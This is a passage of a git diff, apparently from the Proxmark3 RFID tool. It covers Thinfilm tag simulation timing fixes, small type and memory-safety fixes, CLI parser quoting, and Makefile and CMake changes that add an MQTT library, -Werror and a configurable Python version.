0; - uint8_t buf[36] = {0x00}; + uint8_t *buf = BigBuf_calloc(36); // power on and listen for answer. - bool status = GetIso14443aAnswerFromTag_Thinfilm(buf, sizeof(buf), &len); + bool status = GetIso14443aAnswerFromTag_Thinfilm(buf, 36, &len); reply_ng(CMD_HF_THINFILM_READ, status ? PM3_SUCCESS : PM3_ENODATA, buf, len); hf_field_off(); set_tracing(false); + BigBuf_free(); } #define SEC_D 0xf0 #define SEC_E 0x0f #define SEC_F 0x00 -static uint16_t FpgaSendQueueDelay; static uint16_t ReadReaderField(void) { return AvgAdc(ADC_CHAN_HF); @@ -75,25 +75,37 @@ static void CodeThinfilmAsTag(const uint8_t *cmd, uint16_t len) { b <<= 1; } } + + // Convert from last byte pos to length ts->max++; } static int EmSendCmdThinfilmRaw(const uint8_t *resp, uint16_t respLen) { + volatile uint8_t b; - uint16_t i = 0; - uint32_t ThisTransferTime; + uint32_t ThisTransferTime ; + + // clear receiving shift register and holding register + while (!(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY)); + b = AT91C_BASE_SSC->SSC_RHR; + (void) b; + // wait for the FPGA to signal fdt_indicator == 1 (the FPGA is ready to queue new data in its delay line) for (uint8_t j = 0; j < 5; j++) { // allow timeout - better late than never while (!(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY)); - if (AT91C_BASE_SSC->SSC_RHR) break; + if (AT91C_BASE_SSC->SSC_RHR) { + break; + } } while ((ThisTransferTime = GetCountSspClk()) & 0x00000007); - // Clear TXRDY: AT91C_BASE_SSC->SSC_THR = SEC_F; + uint16_t FpgaSendQueueDelay = 0; + // send cycle + size_t i = 0; for (; i < respLen;) { if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { AT91C_BASE_SSC->SSC_THR = resp[i++]; @@ -108,8 +120,10 @@ static int EmSendCmdThinfilmRaw(const uint8_t *resp, uint16_t respLen) { } // Ensure that the FPGA Delay Queue is empty - uint8_t fpga_queued_bits = FpgaSendQueueDelay >> 3; - for (i = 0; i <= fpga_queued_bits / 8 + 1;) { + uint16_t fpga_queued_bits = FpgaSendQueueDelay >> 3; + fpga_queued_bits >>= 3; // divide by 8 (again?) + fpga_queued_bits += 1u; + for (i = 0; i <= fpga_queued_bits;) { if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { AT91C_BASE_SSC->SSC_THR = SEC_F; FpgaSendQueueDelay = (uint8_t)AT91C_BASE_SSC->SSC_RHR; @@ -117,40 +131,53 @@ static int EmSendCmdThinfilmRaw(const uint8_t *resp, uint16_t respLen) { } } - return 0; + return PM3_SUCCESS; } void SimulateThinFilm(uint8_t *data, size_t len) { + switch_off(); // disconnect raw + SpinDelay(20); + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - Dbprintf("Simulate " _YELLOW_("%i-bit Thinfilm") " tag", len * 8); - Dbhexdump(len, data, true); + // allocate command receive buffer + BigBuf_free(); - // Set up the synchronous serial port - FpgaSetupSsc(FPGA_MAJOR_MODE_HF_READER); + Dbprintf("Simulate " _YELLOW_("%i-bit Thinfilm") " tag", len * 8); // connect Demodulated Signal to ADC: SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + // Set up the synchronous serial port + FpgaSetupSsc(FPGA_MAJOR_MODE_HF_READER); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_MOD); + SpinDelay(100); + // Start the timer StartCountSspClk(); uint16_t hf_baseline = ReadReaderField(); - int16_t status = PM3_SUCCESS; + int8_t status = PM3_SUCCESS; CodeThinfilmAsTag(data, len); tosend_t *ts = get_tosend(); - bool reader_detected = false; + for (int i = 0; i < ts->max; i += 16) { + Dbhexdump(16, ts->buf + i, false); + } + DbpString("------------------------------------------"); + LED_A_ON(); + for (;;) { WDT_HIT(); + // Test if the action was cancelled if (BUTTON_PRESS() || data_available()) { status = PM3_EOPABORTED; break; @@ -166,19 +193,16 @@ void SimulateThinFilm(uint8_t *data, size_t len) { EmSendCmdThinfilmRaw(ts->buf, ts->max); - if (reader_detected == false) { - LED_B_ON(); - //Dbprintf("Reader detected, start beaming data"); - reader_detected = true; - } - } else { - if (reader_detected) { - LED_B_OFF(); - // Dbprintf("Reader gone, stop beaming data"); - reader_detected = false; + if (len == 16) { + // wait 3.6ms + SpinDelayUs(3600); + } else { + // wait 2.4ms + SpinDelayUs(2400); } } } + LED_A_OFF(); reply_ng(CMD_HF_THINFILM_SIMULATE, status, NULL, 0); } diff --git a/armsrc/usart.c b/armsrc/usart.c index 1dcaf7517..907f47239 100644 --- a/armsrc/usart.c +++ b/armsrc/usart.c @@ -218,7 +218,7 @@ uint32_t usart_read_ng(uint8_t *data, size_t len) { } // transfer from device to client -int usart_writebuffer_sync(uint8_t *data, size_t len) { +int usart_writebuffer_sync(const uint8_t *data, size_t len) { // Wait for current PDC bank to be free // (and check next bank too, in case there will be a usart_writebuffer_async) diff --git a/armsrc/usart.h b/armsrc/usart.h index e33745e00..e93f318f8 100644 --- a/armsrc/usart.h +++ b/armsrc/usart.h @@ -25,7 +25,7 @@ extern uint32_t g_usart_baudrate; extern uint8_t g_usart_parity; void usart_init(uint32_t baudrate, uint8_t parity); -int usart_writebuffer_sync(uint8_t *data, size_t len); +int usart_writebuffer_sync(const uint8_t *data, size_t len); uint32_t usart_read_ng(uint8_t *data, size_t len); uint16_t usart_rxdata_available(void); diff --git a/armsrc/util.c b/armsrc/util.c index 028a8fdb2..0df89352d 100644 --- a/armsrc/util.c +++ b/armsrc/util.c @@ -397,7 +397,7 @@ uint32_t get_flash_size(void) { } // Combined function to convert an unsigned int to an array of hex values corresponding to the last three bits of k1 -void convertToHexArray(uint8_t num, uint8_t *partialkey) { +void convertToHexArray(uint32_t num, uint8_t *partialkey) { char binaryStr[25]; // 24 bits for binary representation + 1 for null terminator binaryStr[24] = '\0'; // Null-terminate the string @@ -409,8 +409,8 @@ void convertToHexArray(uint8_t num, uint8_t *partialkey) { // Split the binary string into groups of 3 and convert to hex for (int i = 0; i < 8 ; i++) { - char group[4]; - strncpy(group, binaryStr + i * 3, 3); + char group[4] = {'0', '0', '0', '\0'}; // Ensure group is initialized correctly + memcpy(group, binaryStr + i * 3, 3); // Use memcpy to copy exactly 3 characters group[3] = '\0'; // Null-terminate the group string partialkey[i] = (uint8_t)strtoul(group, NULL, 2); } diff --git a/armsrc/util.h b/armsrc/util.h index 96ae692d0..fd99ac73e 100644 --- a/armsrc/util.h +++ b/armsrc/util.h @@ -88,7 +88,7 @@ int hex2binarray(char *target, const char *source); int hex2binarray_n(char *target, const char *source, int sourcelen); int binarray2hex(const uint8_t *bs, int bs_len, uint8_t *hex); -void convertToHexArray(uint8_t num, uint8_t *partialkey); +void convertToHexArray(uint32_t num, uint8_t *partialkey); void LED(int led, int ms); void LEDsoff(void); diff --git a/bootrom/Makefile b/bootrom/Makefile index 86c785cd1..b6825530d 100644 --- a/bootrom/Makefile +++ b/bootrom/Makefile @@ -56,7 +56,7 @@ OBJS = $(OBJDIR)/bootrom.s19 # version_pm3.c should be checked on every compilation version_pm3.c: default_version_pm3.c .FORCE $(info [=] CHECK $@) - $(Q)$(CP) $< $@ + $(Q)$(SH) ../tools/mkversion.sh $@ || $(CP) $< $@ all: showinfo $(OBJS) diff --git a/bootrom/bootrom.c b/bootrom/bootrom.c index 74c0a9b9e..8695222be 100644 --- a/bootrom/bootrom.c +++ b/bootrom/bootrom.c @@ -59,9 +59,9 @@ static int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, #if DEBUG static void DbpString(char *str) { uint8_t len = 0; - while (str[len] != 0x00) + while (str[len] != 0x00) { len++; - + } reply_old(CMD_DEBUG_PRINT_STRING, len, 0, 0, (uint8_t *)str, len); } #endif @@ -131,14 +131,17 @@ static void UsbPacketReceived(uint8_t *packet) { switch (c->cmd) { case CMD_DEVICE_INFO: { ack = false; + arg0 = 0; arg0 = DEVICE_INFO_FLAG_BOOTROM_PRESENT | DEVICE_INFO_FLAG_CURRENT_MODE_BOOTROM | DEVICE_INFO_FLAG_UNDERSTANDS_START_FLASH | DEVICE_INFO_FLAG_UNDERSTANDS_CHIP_INFO | DEVICE_INFO_FLAG_UNDERSTANDS_VERSION | DEVICE_INFO_FLAG_UNDERSTANDS_READ_MEM; - if (g_common_area.flags.osimage_present) + + if (g_common_area.flags.osimage_present) { arg0 |= DEVICE_INFO_FLAG_OSIMAGE_PRESENT; + } reply_old(CMD_DEVICE_INFO, arg0, 1, 2, 0, 0); } @@ -291,8 +294,9 @@ static void UsbPacketReceived(uint8_t *packet) { break; } - if (ack) + if (ack) { reply_old(CMD_ACK, arg0, 0, 0, 0, 0); + } } // delay_loop(1) = 3.07us diff --git a/client/CMakeLists.txt b/client/CMakeLists.txt index ad8ce6445..1f0410e31 100644 --- a/client/CMakeLists.txt +++ b/client/CMakeLists.txt @@ -44,6 +44,9 @@ endif() find_package(PkgConfig) +# Allow specifying a Python version via cmake option +set(PYTHON3_PKGCONFIG "python3" CACHE STRING "Python3 package config version suffix") + if (NOT SKIPQT EQUAL 1) if(APPLE AND EXISTS /usr/local/opt/qt5) @@ -87,8 +90,8 @@ if (NOT SKIPBT EQUAL 1) endif (NOT SKIPBT EQUAL 1) if (NOT SKIPPYTHON EQUAL 1) - pkg_search_module(PYTHON3 QUIET python3) - pkg_search_module(PYTHON3EMBED QUIET python3-embed) + pkg_search_module(PYTHON3 QUIET ${PYTHON3_PKGCONFIG}) + pkg_search_module(PYTHON3EMBED QUIET ${PYTHON3_PKGCONFIG}-embed) endif (NOT SKIPPYTHON EQUAL 1) # If cross-compiled, we need to init source and build. @@ -267,6 +270,7 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/crypto/asn1dump.c ${PM3_ROOT}/client/src/crypto/asn1utils.c ${PM3_ROOT}/client/src/crypto/libpcrypto.c + ${PM3_ROOT}/client/src/crypto/originality.c ${PM3_ROOT}/client/src/emv/test/cda_test.c ${PM3_ROOT}/client/src/emv/test/crypto_test.c ${PM3_ROOT}/client/src/emv/test/cryptotest.c @@ -376,6 +380,7 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/cmdlfhid.c ${PM3_ROOT}/client/src/cmdlfhitag.c ${PM3_ROOT}/client/src/cmdlfhitaghts.c + ${PM3_ROOT}/client/src/cmdlfhitagu.c ${PM3_ROOT}/client/src/cmdlfidteck.c ${PM3_ROOT}/client/src/cmdlfindala.c ${PM3_ROOT}/client/src/cmdlfio.c @@ -397,6 +402,7 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/cmdlfvisa2000.c ${PM3_ROOT}/client/src/cmdlfzx8211.c ${PM3_ROOT}/client/src/cmdmain.c + ${PM3_ROOT}/client/src/cmdmqtt.c ${PM3_ROOT}/client/src/cmdnfc.c ${PM3_ROOT}/client/src/cmdparser.c ${PM3_ROOT}/client/src/cmdpiv.c @@ -409,8 +415,10 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/fileutils.c ${PM3_ROOT}/client/src/flash.c ${PM3_ROOT}/client/src/graph.c + ${PM3_ROOT}/client/src/hidsio.c ${PM3_ROOT}/client/src/iso4217.c ${PM3_ROOT}/client/src/jansson_path.c + ${PM3_ROOT}/client/src/lua_bitlib.c ${PM3_ROOT}/client/src/preferences.c ${PM3_ROOT}/client/src/pm3.c ${PM3_ROOT}/client/src/pm3_binlib.c @@ -427,7 +435,7 @@ set (TARGET_SOURCES add_custom_command( OUTPUT ${CMAKE_BINARY_DIR}/version_pm3.c - COMMAND ${CMAKE_COMMAND} -E copy ${PM3_ROOT}/common/default_version_pm3.c ${CMAKE_BINARY_DIR}/version_pm3.c + COMMAND sh ${PM3_ROOT}/tools/mkversion.sh ${CMAKE_BINARY_DIR}/version_pm3.c || ${CMAKE_COMMAND} -E copy ${PM3_ROOT}/common/default_version_pm3.c ${CMAKE_BINARY_DIR}/version_pm3.c DEPENDS ${PM3_ROOT}/common/default_version_pm3.c ) @@ -610,11 +618,11 @@ if (SKIPPYTHON EQUAL 1) message(STATUS "Python3 library: skipped") else (SKIPPYTHON EQUAL 1) if (PYTHON3EMBED_FOUND) - message(STATUS "Python3 library: Python3 embed found, enabled") + message(STATUS "Python3 library: ${PYTHON3_PKGCONFIG}-embed found, enabled") elseif (PYTHON3_FOUND) - message(STATUS "Python3 library: Python3 found, enabled") + message(STATUS "Python3 library: ${PYTHON3_PKGCONFIG} found, enabled") else (PYTHON3EMBED_FOUND) - message(STATUS "Python3 library: Python3 not found, disabled") + message(STATUS "Python3 library: ${PYTHON3_PKGCONFIG} not found, disabled") endif (PYTHON3EMBED_FOUND) endif(SKIPPYTHON EQUAL 1) @@ -685,7 +693,7 @@ add_executable(proxmark3 ${ADDITIONAL_SRC} ) -target_compile_options(proxmark3 PUBLIC -Wall -O3) +target_compile_options(proxmark3 PUBLIC -Wall -Werror -O3) if (EMBED_READLINE) if (NOT SKIPREADLINE EQUAL 1) add_dependencies(proxmark3 ncurses readline) @@ -765,6 +773,7 @@ target_link_libraries(proxmark3 PRIVATE pm3rrg_rdv4_reveng pm3rrg_rdv4_hardnested pm3rrg_rdv4_id48 + pm3rrg_rdv4_mqtt ${ADDITIONAL_LNK}) if (NOT SKIPPTHREAD EQUAL 1) diff --git a/client/Makefile b/client/Makefile index b179e2780..777343d07 100644 --- a/client/Makefile +++ b/client/Makefile @@ -17,6 +17,8 @@ ifeq ($(PLTNAME),) -include ../Makefile.platform -include ../.Makefile.options.cache +# Default platform if no platform specified + PLATFORM?=PM3RDV4 ifneq ($(PLATFORM), $(CACHED_PLATFORM)) $(error platform definitions have been changed, please "make clean" at the root of the project) endif @@ -131,6 +133,12 @@ WHEREAMILIBINC = -I$(WHEREAMILIBPATH) WHEREAMILIB = $(WHEREAMILIBPATH)/libwhereami.a WHEREAMILIBLD = +## MQTT +MQTTLIBPATH = ./deps/mqtt +MQTTLIBINC = -I$(MQTTLIBPATH) +MQTTLIB = $(MQTTLIBPATH)/mqtt.a +MQTTLIBLD = + ########################## # common local libraries # ########################## @@ -175,11 +183,11 @@ PM3INCLUDES += $(ID48LIBINC) ## Lua ifneq ($(SKIPLUASYSTEM),1) ifdef MACPORTS_PREFIX - LUAINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags lua-5.2 2>/dev/null) - LUALDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs lua-5.2 2>/dev/null) + LUAINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags lua-5.4 2>/dev/null) + LUALDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs lua-5.4 2>/dev/null) else - LUAINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags lua5.2 2>/dev/null) - LUALDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs lua5.2 2>/dev/null) + LUAINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags lua5.4 2>/dev/null) + LUALDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs lua5.4 2>/dev/null) endif ifneq ($(LUALDLIBS),) LUALIB = @@ -239,6 +247,12 @@ STATICLIBS += $(WHEREAMILIB) LDLIBS += $(WHEREAMILIBLD) PM3INCLUDES += $(WHEREAMILIBINC) +## MQTT +# not distributed as system library +STATICLIBS += $(MQTTLIB) +LDLIBS += $(MQTTLIBLD) +PM3INCLUDES += $(MQTTLIBINC) + #################### # system libraries # #################### @@ -282,15 +296,15 @@ endif ## Python3 (optional) ifneq ($(SKIPPYTHON),1) # since python3.8, applications willing to embed python must use -embed: - PYTHONINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags python3-embed 2>/dev/null) - PYTHONLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs python3-embed 2>/dev/null) + PYTHONINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags $(PYTHON3_PKGCONFIG)-embed 2>/dev/null) + PYTHONLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs $(PYTHON3_PKGCONFIG)-embed 2>/dev/null) ifneq ($(PYTHONLDLIBS),) PYTHONLIBLD = $(PYTHONLDLIBS) PYTHONLIBINC = $(subst -I,-isystem ,$(PYTHONINCLUDES)) PYTHON_FOUND = 1 else - PYTHONINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags python3 2>/dev/null) - PYTHONLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs python3 2>/dev/null) + PYTHONINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags $(PYTHON3_PKGCONFIG) 2>/dev/null) + PYTHONLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs $(PYTHON3_PKGCONFIG) 2>/dev/null) ifneq ($(PYTHONLDLIBS),) PYTHONLIBLD = $(PYTHONLDLIBS) PYTHONLIBINC = $(subst -I,-isystem ,$(PYTHONINCLUDES)) @@ -440,13 +454,14 @@ endif ifeq ($(SWIG_LUA_FOUND),1) PM3CFLAGS += -DHAVE_LUA_SWIG endif + ifeq ($(SWIG_PYTHON_FOUND),1) PM3CFLAGS += -DHAVE_PYTHON_SWIG endif PM3CFLAGS += -DHAVE_SNPRINTF -CXXFLAGS ?= -Wall +CXXFLAGS ?= -Wall -Werror CXXFLAGS += $(MYDEFS) $(MYCXXFLAGS) $(MYINCLUDES) PM3CXXFLAGS = $(CXXFLAGS) @@ -531,7 +546,7 @@ ifeq ($(SKIPPYTHON),1) $(info Python3 library: skipped) else ifeq ($(PYTHON_FOUND),1) - $(info Python3 library: Python3 v$(shell $(PKG_CONFIG_ENV) pkg-config --modversion python3) found, enabled) + $(info Python3 library: Python3 v$(shell $(PKG_CONFIG_ENV) pkg-config --modversion $(PYTHON3_PKGCONFIG)) found, enabled) else $(info Python3 library: Python3 not found, disabled) endif @@ -582,6 +597,7 @@ endif ifeq ($(SWIG_LUA_FOUND),1) $(info Lua SWIG: wrapper found) endif + ifeq ($(SWIG_PYTHON_FOUND),1) $(info Python SWIG: wrapper found) endif @@ -660,6 +676,7 @@ SRCS = mifare/aiddesfire.c \ cmdlfhid.c \ cmdlfhitag.c \ cmdlfhitaghts.c \ + cmdlfhitagu.c \ cmdlfidteck.c \ cmdlfindala.c \ cmdlfio.c \ @@ -681,6 +698,7 @@ SRCS = mifare/aiddesfire.c \ cmdlfvisa2000.c \ cmdlfzx8211.c \ cmdmain.c \ + cmdmqtt.c \ cmdnfc.c \ cmdparser.c \ cmdpiv.c \ @@ -693,6 +711,7 @@ SRCS = mifare/aiddesfire.c \ crypto/asn1dump.c \ crypto/asn1utils.c\ crypto/libpcrypto.c\ + crypto/originality.c\ emv/cmdemv.c \ emv/crypto.c\ emv/crypto_polarssl.c\ @@ -722,6 +741,7 @@ SRCS = mifare/aiddesfire.c \ flash.c \ generator.c \ graph.c \ + hidsio.c \ jansson_path.c \ iso4217.c \ iso7816/apduinfo.c \ @@ -730,11 +750,12 @@ SRCS = mifare/aiddesfire.c \ loclass/cipherutils.c \ loclass/elite_crack.c \ loclass/ikeys.c \ + lua_bitlib.c \ mifare/lrpcrypto.c \ mifare/desfirecrypto.c \ mifare/desfirecore.c \ - mifare/desfiresecurechan.c \ - mifare/desfiretest.c \ + mifare/desfiresecurechan.c \ + mifare/desfiretest.c \ mifare/gallaghercore.c \ mifare/mad.c \ mifare/mfkey.c \ @@ -873,6 +894,7 @@ endif $(Q)$(MAKE) --no-print-directory -C $(REVENGLIBPATH) clean $(Q)$(MAKE) --no-print-directory -C $(TINYCBORLIBPATH) clean $(Q)$(MAKE) --no-print-directory -C $(WHEREAMILIBPATH) clean + $(Q)$(MAKE) --no-print-directory -C $(MQTTLIBPATH) clean @# Just in case someone compiled within these dirs: $(Q)$(MAKE) --no-print-directory -C $(MBEDTLSLIBPATH) clean @@ -884,7 +906,20 @@ ifneq (,$(INSTALLBIN)) endif ifneq (,$(INSTALLSHARE)) $(Q)$(INSTALLSUDO) $(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH) + # hack ahead: inject installation path into pm3_resources.py + ifeq ($(platform),Darwin) + $(Q)sed -E -i '' 's|^TOOLS_PATH \?= \?None|TOOLS_PATH="$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)"|' pyscripts/pm3_resources.py + $(Q)sed -E -i '' 's|^DICTS_PATH \?= \?None|DICTS_PATH="$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH)/dictionaries"|' pyscripts/pm3_resources.py $(Q)$(INSTALLSUDO) $(CP) $(INSTALLSHARE) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH) + $(Q)sed -E -i '' 's|^TOOLS_PATH \?=.*|TOOLS_PATH = None|' pyscripts/pm3_resources.py + $(Q)sed -E -i '' 's|^DICTS_PATH \?=.*|DICTS_PATH = None|' pyscripts/pm3_resources.py + else + $(Q)sed -i 's|^TOOLS_PATH \?= \?None|TOOLS_PATH="$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)"|' pyscripts/pm3_resources.py + $(Q)sed -i 's|^DICTS_PATH \?= \?None|DICTS_PATH="$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH)/dictionaries"|' pyscripts/pm3_resources.py + $(Q)$(INSTALLSUDO) $(CP) $(INSTALLSHARE) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH) + $(Q)sed -i 's|^TOOLS_PATH \?=.*|TOOLS_PATH = None|' pyscripts/pm3_resources.py + $(Q)sed -i 's|^DICTS_PATH \?=.*|DICTS_PATH = None|' pyscripts/pm3_resources.py + endif endif @true @@ -957,6 +992,10 @@ ifneq ($(WHEREAMI_FOUND),1) $(Q)$(MAKE) --no-print-directory -C $(WHEREAMILIBPATH) all endif +$(MQTTLIB): .FORCE + $(info [*] MAKE $@) + $(Q)$(MAKE) --no-print-directory -C $(MQTTLIBPATH) all + ######## # SWIG # ######## @@ -978,7 +1017,7 @@ src/pm3_pywrap.c: pm3.i # version_pm3.c should be checked on every compilation src/version_pm3.c: default_version_pm3.c .FORCE $(info [=] CHECK $@) - $(Q)$(CP) $< $@ + $(Q)$(SH) ../tools/mkversion.sh $@ || $(CP) $< $@ # easy printing of MAKE VARIABLES print-%: ; @echo $* = $($*) diff --git a/client/deps/CMakeLists.txt b/client/deps/CMakeLists.txt index 99a843d66..c8f5b78c5 100644 --- a/client/deps/CMakeLists.txt +++ b/client/deps/CMakeLists.txt @@ -31,3 +31,6 @@ endif() if (NOT TARGET pm3rrg_rdv4_whereami) include(whereami.cmake) endif() +if (NOT TARGET pm3rrg_rdv4_mqtt) + include(mqtt.cmake) +endif() \ No newline at end of file diff --git a/client/deps/amiibo.cmake b/client/deps/amiibo.cmake index 8c524c170..c946c0682 100644 --- a/client/deps/amiibo.cmake +++ b/client/deps/amiibo.cmake @@ -19,7 +19,7 @@ target_link_libraries(pm3rrg_rdv4_amiibo PRIVATE m pm3rrg_rdv4_mbedtls) -target_compile_options(pm3rrg_rdv4_amiibo PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_amiibo PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_amiibo PROPERTY POSITION_INDEPENDENT_CODE ON) target_include_directories(pm3rrg_rdv4_amiibo PRIVATE amiitool diff --git a/client/deps/cliparser.cmake b/client/deps/cliparser.cmake index a85cc2374..fccae33b7 100644 --- a/client/deps/cliparser.cmake +++ b/client/deps/cliparser.cmake @@ -9,5 +9,5 @@ target_include_directories(pm3rrg_rdv4_cliparser PRIVATE ../../include ../src) target_include_directories(pm3rrg_rdv4_cliparser INTERFACE cliparser) -target_compile_options(pm3rrg_rdv4_cliparser PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_cliparser PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_cliparser PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/cliparser/argtable3.c b/client/deps/cliparser/argtable3.c index f5b7950cd..080d0ad9a 100644 --- a/client/deps/cliparser/argtable3.c +++ b/client/deps/cliparser/argtable3.c @@ -3601,16 +3601,32 @@ static const TRexChar *trex_matchnode(TRex *exp, TRexNode *node, const TRexChar /* public api */ TRex *trex_compile(const TRexChar *pattern, const TRexChar **error, int flags) { TRex *exp = (TRex *)malloc(sizeof(TRex)); + if (exp == NULL) { + return NULL; + } + exp->_eol = exp->_bol = NULL; exp->_p = pattern; exp->_nallocated = (int)scstrlen(pattern) * sizeof(TRexChar); + exp->_nodes = (TRexNode *)malloc(exp->_nallocated * sizeof(TRexNode)); + if (exp->_nodes == NULL) { + trex_free(exp); + return NULL; + } + exp->_nsize = 0; exp->_matches = 0; exp->_nsubexpr = 0; exp->_first = trex_newnode(exp, OP_EXPR); exp->_error = error; exp->_jmpbuf = malloc(sizeof(jmp_buf)); + + if (exp->_jmpbuf == NULL) { + trex_free(exp); + return NULL; + } + exp->_flags = flags; if (setjmp(*((jmp_buf *)exp->_jmpbuf)) == 0) { int res = trex_list(exp); diff --git a/client/deps/cliparser/cliparser.c b/client/deps/cliparser/cliparser.c index 0ea0bd33b..64de03871 100644 --- a/client/deps/cliparser/cliparser.c +++ b/client/deps/cliparser/cliparser.c @@ -180,8 +180,10 @@ int CLIParserParseStringEx(CLIParserContext *ctx, const char *str, void *vargtab // parse params for (int i = 0; i < len; i++) { + switch (state) { - case PS_FIRST: // first char + case PS_FIRST: { // first char + if (!clueData || str[i] == '-') { // first char before space is '-' - next element - option OR not "clueData" for not-option fields state = PS_OPTION; @@ -193,24 +195,32 @@ int CLIParserParseStringEx(CLIParserContext *ctx, const char *str, void *vargtab } } spaceptr = NULL; - case PS_ARGUMENT: - if (state == PS_FIRST) + } + case PS_ARGUMENT: { + + if (state == PS_FIRST) { state = PS_ARGUMENT; - if (str[i] == '"') { + } + + if (str[i] == '"' || str[i] == '\'') { state = PS_QUOTE; break; } + if (isSpace(str[i])) { spaceptr = bufptr; state = PS_FIRST; } + *bufptr = str[i]; bufptr++; break; - case PS_OPTION: + } + + case PS_OPTION: { + if (isSpace(str[i])) { state = PS_FIRST; - *bufptr = 0x00; bufptr++; argv[argc++] = bufptr; @@ -220,17 +230,22 @@ int CLIParserParseStringEx(CLIParserContext *ctx, const char *str, void *vargtab *bufptr = str[i]; bufptr++; break; - case PS_QUOTE: - if (str[i] == '"') { + } + case PS_QUOTE: { + + if (str[i] == '"' || str[i] == '\'') { *bufptr++ = 0x00; state = PS_FIRST; } else { - if (isSpace(str[i]) == false) { - *bufptr++ = str[i]; - } + +// if (isSpace(str[i]) == false) { + *bufptr++ = str[i]; +// } } break; + } } + if (bufptr > bufptrend) { PrintAndLogEx(ERR, "ERROR: Line too long\n"); fflush(stdout); @@ -296,8 +311,9 @@ int CLIParamBinToBuf(struct arg_str *argstr, uint8_t *data, int maxdatalen, int int CLIParamStrToBuf(struct arg_str *argstr, uint8_t *data, int maxdatalen, int *datalen) { *datalen = 0; - if (!argstr->count) + if (!argstr->count) { return 0; + } uint8_t tmpstr[MAX_INPUT_ARG_LENGTH + 1] = {0}; int ibuf = 0; @@ -319,8 +335,9 @@ int CLIParamStrToBuf(struct arg_str *argstr, uint8_t *data, int maxdatalen, int ibuf = MIN(ibuf, (sizeof(tmpstr) / 2)); tmpstr[ibuf] = 0; - if (ibuf == 0) + if (ibuf == 0) { return 0; + } if (ibuf > maxdatalen) { PrintAndLogEx(ERR, "Parameter error: string too long (%i chars), expected MAX %i chars\n", ibuf, maxdatalen); diff --git a/client/deps/hardnested.cmake b/client/deps/hardnested.cmake index 468ee4ef2..ec545e2a8 100644 --- a/client/deps/hardnested.cmake +++ b/client/deps/hardnested.cmake @@ -2,7 +2,7 @@ add_library(pm3rrg_rdv4_hardnested_nosimd OBJECT hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) -target_compile_options(pm3rrg_rdv4_hardnested_nosimd PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_hardnested_nosimd PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_hardnested_nosimd PROPERTY POSITION_INDEPENDENT_CODE ON) target_include_directories(pm3rrg_rdv4_hardnested_nosimd PRIVATE @@ -32,7 +32,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_mmx PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_mmx PRIVATE -Wall -Werror -O3) target_compile_options(pm3rrg_rdv4_hardnested_mmx BEFORE PRIVATE -mmmx -mno-sse2 -mno-avx -mno-avx2 -mno-avx512f) set_property(TARGET pm3rrg_rdv4_hardnested_mmx PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -47,7 +47,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_sse2 PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_sse2 PRIVATE -Wall -Werror -O3) target_compile_options(pm3rrg_rdv4_hardnested_sse2 BEFORE PRIVATE -mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f) set_property(TARGET pm3rrg_rdv4_hardnested_sse2 PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -62,7 +62,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - 